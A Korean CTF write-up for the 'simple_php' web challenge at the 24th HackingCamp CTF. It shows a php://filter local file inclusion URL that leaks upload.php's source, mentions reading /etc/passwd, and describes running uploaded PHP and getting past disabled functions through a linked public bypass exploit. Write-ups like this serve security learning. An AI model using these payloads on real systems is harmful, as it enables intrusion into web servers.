24th HackingCamp CTF simple_php [WEB]

조승현·2022년 2월 21일
0


가장 어려웠던 문제다. ctf 시간의 거의 절반이상을 썼는데도 풀지 못했고 푼 사람은 우리팀 에이스 한명뿐이었다... 단순해 보이는 문제지만 절대 단순하지않다.

업로드 취약점을 이용하는 문제라고 유추할 수 있다.

사진을 업로드하니 암호화된 경로에 저장이된다.


소스코드를 보니 file 파라미터를 받아서 include해주는 기능이 있다. 여기서 LFI 취약점을 생각해볼 수 있다. 그렇다면 upload.php를 빼낼수 있지 않을까?

http://ctf-hackingcamp.com:32001/?file=php://filter/convert.base64-encode/resource=upload.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>simple_php</title>
</head>
<body>
    <form action="upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="file" id="file">
        <input type="submit" name="submit" value="submit">
    </form>
</body>
</html>

<?php
    if (isset($_POST["submit"])) {
        $upload_dir = '/var/www/html/uploads/';
        $filename = md5(random_bytes(30));
        $upload_file = $upload_dir . $filename;

        if ($_FILES['file']['size'] > 500000) {
            die('file is too large. only <500kb is allowed');
        }

        if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_file)) {
            echo 'upload success <a href="/uploads/' . $filename . '">file</a>';
        } else {
            echo 'upload failed';
        }
    }

경로는 랜덤값이라 어떻게 할 방법이 없다. php코드에 별 취약점이 발생하지 않는것 같다.
/etc/passwd도 가능했지만 별 정보가 없다.
여러가지 해보다가 이상한점이 있었다. php코드를 업로드해서 열면 php코드가 실행되는데 간단한 echo 1; 같은것들은 출력이 되는데 exec, system같은 메쏘드를 쓰면 출력이 안된다. 그래서 phpinfo()를 알아보았다.

disable 걸어놓은 함수가 무지막지하게 많다...
이 disable function들을 우회할 수가 있다고 한다. 이건 전혀 몰랐다.

https://github.com/mm0r1/exploits/blob/master/php-concat-bypass/exploit.php

코드를 이용해서 /flag를 해주면

solved

역시 깃헙은 정보의 바다...

profile
Inha University / CTF Web Player / Team Riot of Noob

0개의 댓글